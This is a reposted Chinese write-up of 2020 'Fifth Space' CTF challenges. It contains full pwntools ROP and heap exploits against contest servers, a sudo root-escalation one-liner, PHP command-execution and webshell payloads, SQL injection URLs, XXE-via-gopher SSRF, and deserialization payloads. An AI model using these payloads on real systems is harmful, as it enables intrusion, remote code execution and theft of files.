【转载】“第五空间”智能安全大赛部分WP

2020-06-29 本文已影响0人 708e8568411c

crypto

rosb

rsa共模攻击，网上找了个板子改了改

rom gmpy2 import *
import libnum

n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557
e1 = 0xf4c1158f
c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707
e2 = 0xf493f7d1
c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb

s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]

c2 = invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 , s2 , n)) % n
print(hex(m))
s=hex(m)[2:]
result=""
for i in range(len(s)/2):
    result+=chr(int(s[2*i:2*i+2],16))
print(result[:-64])
# g0od_go0d_stu4y_d4yd4y_Up

re

nop

main函数里存在三个需要nop的反调试的函数(共五处），nop后的逻辑是：输入数字，然后通过eax一直加(大约是反调试jump的次数)+0xCCCCCCCC，最后的值用于在函数sub_8048691中patch eax和eax+1的值为0x90。因此正确的patch才能跳转到right处，由于中间eax+1有点多不想数b，所以大概算了个值（考虑一下32位溢出），然后前后遍历了一小段数字，得到flag为99357990

rev

本意是一个rop导向的逆向题，但写trace太麻烦了，所以试了下angr的模板，正好可以用，注意一下输入参数为argv1

import angr
import sys
import claripy

def main(filepath):
    project = angr.Project(filepath)
    argv1 = claripy.BVS("argv1",100*8)
    init_state = project.factory.entry_state(args=[filepath,argv1])
    sim = project.factory.simgr(init_state)

    find = [0x400481]
    avoid = [0x400471]
    sim.explore(find=find,avoid=avoid)
    if sim.found:
        found=sim.found[0]
        solution = found.solver.eval(argv1, cast_to=bytes)
        print(solution)
    else:
        raise Exception('Could not find the solution')


if __name__=="__main__":
    if(len(sys.argv)!=2):
        print('usage:python angr_basic.py filepath')
    filepath = sys.argv[1]
    main(filepath)
    
# ctf{ropchain_is_g00d}

pwn

twice

第一次溢出一个字节用于泄露canary和栈地址，第二次溢出0x20字节，其中除了填写canary外，rbp位置存放字符串起始栈地址-8，返回地址填leave ret，这样就可以多出88字节的ROP。ROP主体为puts泄露libc地址、read往bss（也可以继续往栈上）写入system("/bin/sh\x00")的另一段ROP，最后栈转移，正好88字节。

from pwn import *
from LibcSearcher import LibcSearcher

e = ELF("./pwn")
libc = e.libc

if args.I:
    context.log_level = 'debug'
if args.R:
    p = remote('121.36.59.116', 9999)
else:
    p = process(e.path)  #, env = {'LD_PRELOAD': LIBC})

p.sendafter(">", "A"*89)

p.recvuntil("A"*89)


canary = u64(p.recv(7).rjust(8, b'\0'))
stack = u64(p.recv(6).ljust(8, b'\0'))
print(hex(canary))
print(hex(stack))

p.recvuntil(">")

pop_rdi_ret = 0x400923
pop_rsi_r15_ret = 0x400921
pop_rsp_13_14_15_ret = 0x40091d
leave_ret = 0x400879
bss = 0x601400

payload = p64(pop_rdi_ret)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(pop_rsi_r15_ret)
payload += p64(bss)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(e.plt['read'])
payload += p64(pop_rsp_13_14_15_ret)
payload += p64(bss)

print(len(payload))

p.send(payload+p64(canary)+p64(stack-0x18-88-8)+p64(leave_ret))

p.recvline()

puts_addr = u64(p.recv(6).ljust(8, b'\0'))

print(hex(puts_addr))

libcsearch = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libcsearch.dump('puts')
system_addr = libcbase + libcsearch.dump('system')
binsh_addr = libcbase + libcsearch.dump('str_bin_sh')

p.send(p64(0)*3+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr))

# print(p.pid)
p.interactive()

运行实例：

image

pwnme

因为除了off-one-null-byte外更严重的是有任意长度堆溢出的操作，一开始想的是使用overlapping，但因为环境一直搭不起来拿不到unsortedbin的偏移，又看到没开PIE并且GOT表可写，所以最后换了unlink来做。unlink后泄露free地址再填入system地址一把梭。

from pwn import *
from LibcSearcher import LibcSearcher

e = ELF("./a.out")
libc = ELF("./lib/libuClibc-1.0.34.so")
# libc = e.libc

if args.I:
    context.log_level = 'debug'
if args.R:
    p = remote('121.36.58.215', 1337)
else:
    p = process(e.path)  #, env = {'LD_PRELOAD': LIBC})

def Show():
    p.sendlineafter(">>> ", '1')

def Add(lenth, tag):
    p.sendlineafter(">>> ", '2')
    p.sendlineafter("Length:", str(lenth))
    p.sendafter("Tag:", tag)

def Change(ind, lenth, tag):
    p.sendlineafter(">>> ", '3')
    p.sendlineafter("Index:", str(ind))
    p.sendlineafter("Length:", str(lenth))
    p.sendafter("Tag:", tag)

def Remove(ind):
    p.sendlineafter(">>> ", '4')
    p.sendlineafter("Tag:", str(ind))

chunk = 0x21068
ptr = chunk+4+8
Add(0x50, 'yuri') # 0
Add(0x100, 'yuri') # 1 
Add(0xf8, 'yuri') # 2
Add(0x50, '/bin/sh\x00') # 3

Change(1, 0x100+4, b'\0'*8 + p32(ptr-3*4) + p32(ptr-2*4) + b'\0'*240 + p32(0x108-2*4))

Remove(2)

Change(1, 7, p32(0x50) + p32(e.got['free'])[:-1])

Show()

p.recvuntil(" : ")
base = u32(p.recv(4)) - libc.symbols['free']

Change(0, 4, p32(base + libc.symbols['system']))

Remove(3)

# print(p.pid)
p.interactive()

运行实例：

image

of

只给源码的pwn，先把tcache填满使得后续堆块释放到fastbin，然后利用scanf触发malloc_consolidate释放到unsortedbin泄露libc地址，最后便是常规改__free_hook的操作。这里比较奇怪的是泄露的unsortedbin的地址多了0x100，第一次见这种操作。

from pwn import *
from LibcSearcher import LibcSearcher

# e = ELF("./pwn")
libc = ELF("./libc-2.27.so")

if args.I:
    context.log_level = 'debug'
r = remote('121.36.74.70', 9999)


def allocate(ind):
    r.sendlineafter("Your choice: ", "1")
    r.sendlineafter("Index: ", str(ind))


def delete(ind):
    r.sendlineafter("Your choice: ", "4")
    r.sendlineafter("Index: ", str(ind))

def show(ind):
    r.sendlineafter("Your choice: ", "3")
    r.sendlineafter("Index: ", str(ind))
    r.recvuntil("Content: ")
    return r.recv(0x100-8)

def edit(ind, content):
    r.sendlineafter("Your choice: ", "2")
    r.sendlineafter("Index: ", str(ind))
    r.sendafter("Content: ", content)

for i in range(7):
    allocate(i)

allocate(7)
allocate(8)

for i in range(7):
    delete(i)

delete(7)
for i in range(7):
    allocate(i)
allocate(9) # 7 == 9

for i in range(7):
    delete(i)

delete(7)

r.sendlineafter("Your choice: ", '7'*0x500)

base = u64(show(9)[:8]) - 96 - 0x10 - libc.symbols['__malloc_hook'] - 0x100

free_hook_addr = base + libc.symbols['__free_hook']
system_addr = base + libc.symbols['system']

print(hex(base))

for i in range(7):
    allocate(i)

allocate(7)
delete(7)

edit(9, p64(free_hook_addr-8))
allocate(10)
allocate(10)
edit(10, b'/bin/sh\x00' + p64(system_addr))

delete(10)

r.interactive()

image

misc

签到

flag{https://5space.360.cn}

麒麟系统

提权root权限，访问/root/flag，获取内容

user：kylin-user pwd：FifthSpace360

118.26.139.133：22

IP地址更换118.26.139.133：22

sudo配置不当可以以root权限执行

sudo -u#-1 cat /root/flag

loop

tar和zip循环解压，用下面的脚本跑五六次差不多能拿到flag的文件

import os
for i in range(100):
    os.system('tar -xvf tarfile')
    os.system('unzip -o zipfile')
# flag{a4944cc1-0e50-44d3-9d85-6c52a3387330}

philosophy

一开始打算当作逆向来做，但使用DIE看时发现资源区段显示加壳，很可疑。

image

查看资源区段，果然有FL4G字样。

image

因此直接用Resource Hacker查看，发现非常明显的PNG结构特征。

image

提出来改一下PNG头前四个字节即可看到FLAG。

image

run

很大的run.exe，win10桌面显示是个word，想起来word本来也是压缩包，解压了一下拿到一个word和一个小的run.exe，跑了一下发现出来一个tif文件

image

改了后缀以后用ps打开，黑色块可以移动，移开后得到

image

而tif文件的最后有run.exe加上的run->njCp1HJBPLVTxcMhUHDPwE7mPW，因此试了下有无flag{}，有无run->，最后正确的是

s="flag{njCp1HJBPLVTxcMhUHDPwE7mPW}"
s=list(s)
for i in range(len(s)):
    if(i%2==0):
        s[i]=chr(ord(s[i])+1)
    else:
        s[i]=chr(ord(s[i])-1)
print("".join(s))
# flag{njCp1HJBPLVTxcMhUHDPwE7mPW}

web

hate-php

没有过滤 ()~直接用取反，unicode字符用url编码

phpinfo验证

http://121.36.74.163/?code=(~%8F%97%8F%96%91%99%90)()

system('cat flag.php')

(system)('cat /flag.php')

php > $a = "system";
php > echo urlencode(~$a);
%8C%86%8C%8B%9A%92
php > $a = "cat /flag.php";
php > echo urlencode(~$a);
%9C%9E%8B%DF%D0%99%93%9E%98%D1%8F%97%8F

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)



<?php
$flag = 'flag{ecee9b5f24f8aede87cdda995fed079c}';

do you know

index.php的限制条件可以随意填写，只要符合条件就可以了

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}

foreach循环中会遍历$_GET并把遍历最后的值赋给url，此处存在SSRF可以访问 xxe.php

xxe.php处存在XXE漏洞，但是需要绕过过滤，不过这个过滤只过滤一次，所以直接双写就可以了

$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);

问题在于xxe需要post访问，我们现在有SSRF所以使用gopher可以发出post包

XXE payload

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY a SYSTEM "php://filter/convert.base64-encode/resource=./flflagag.php">]>
<user>&a;</user>

用 gopher 发送

a1=b&a2=b&c=gopher://127.0.0.1:80/_%2550%254f%2553%2554%2520%252f%2578%2578%2565%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2532%2531%2536%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%250d%250a%2564%2561%2574%2561%253d%2525%2533%2543%2525%2532%2531%2544%254f%2543%2554%2559%2550%2545%252b%2566%256f%256f%252b%2525%2535%2542%2525%2530%2544%2525%2530%2541%2525%2533%2543%2525%2532%2531%2545%254c%2545%254d%2545%254e%2554%252b%2566%256f%256f%252b%2541%254e%2559%252b%2525%2533%2545%2525%2530%2544%2525%2530%2541%2525%2533%2543%2525%2532%2531%2545%254e%2554%2549%2554%2559%252b%2578%252b%2553%2559%2553%2554%2545%254d%252b%2525%2532%2532%2570%2568%2570%2525%2533%2541%2525%2532%2546%2525%2532%2546%2566%2569%256c%2574%2565%2572%2525%2532%2546%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565%2525%2532%2546%2572%2565%2573%256f%2575%2572%2563%2565%2525%2533%2544%252e%2525%2532%2546%2566%256c%2566%256c%2561%2567%2561%2567%252e%2570%2568%2570%2525%2532%2532%2525%2533%2545%2525%2535%2544%2525%2533%2545%2525%2530%2544%2525%2530%2541%2525%2533%2543%2575%2573%2565%2572%2525%2533%2545%2525%2532%2536%2578%2525%2533%2542%2525%2533%2543%2525%2532%2546%2575%2573%2565%2572%2525%2533%2545%252b%252b%252b%252b%252b%252b%252b%252b

得到flag ，base 解码一下

PD9waHAKJGZsYWc9J2ZsYWd7NWJjMGJjMjkxZDMyMjQ1MDY3OTg2NmQ1ZGRmMGEzNDZ9JzsK```

<?php
$flag='flag{5bc0bc291d322450679866d5ddf0a346}';

美团外卖

源码www.zip

审计发现，daochu.php存在sql语句，并且与login比起来，没有过滤

http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,database()%23

database() == cms

http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()%23


    <td>admin,content,hint,mac,sms</td>


http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,(select+*+from+hint)%23

see_the_dir_956c110ef9decdd920249f5fed9e4427

发现给了路径，但是暂时还不知道什么用

继续审计

发现有ueditor和webuploader，需要结合hint中的路径访问

在webuploader里有preview.php可以上传图片

payload


data:image/php4;base64,PD9waHAgc3lzdGVtKCRfR0VUW3hdKTsK

// system($_GET[x])

!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!!

这里？？？

啥意思

get file。。。

我的shell呢？

。。。。。
天才出题人

flag{g879aee87y8501c1deab01c7b54f2fa9}

laravel(unsolved)

寻找POP链

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        protected $parent;
        protected $route;
        public function __construct($parent,$route){
              $this->parent=$parent;
              $this->route=$route;
        }
    }
}
namespace Faker {
    class Generator {
        protected $formatters = array();

        public function __construct($formatters)
{
            $this->formatters = $formatters;
        }
    }
}


namespace{
    $generator = new Faker\Generator(array("addCollection"=>"system"));
    $exp = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($generator,"cat /flag");
    echo urlencode(serialize($exp));
}

flag{90569859b0164266ef04461bbc1d5cc5}

zzm blog(unsolved)

CVE-2019-12086

配合 JDBC autoDeserialize 绕过黑名单

https://www.cnblogs.com/xinzhao/p/11005419.htmlhttps://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

{"id":["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections7_ping test.com"]}

说明

转载自合天智汇公众号，转载请注明来源

原文链接：“第五空间”智能安全大赛部分WP

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【转载】“第五空间”智能安全大赛部分WP

目录

crypto

rosb

re

nop

rev

pwn

twice

pwnme

of

misc

签到

麒麟系统

loop

philosophy

run

web

hate-php

do you know

美团外卖

laravel(unsolved)

zzm blog(unsolved)

说明

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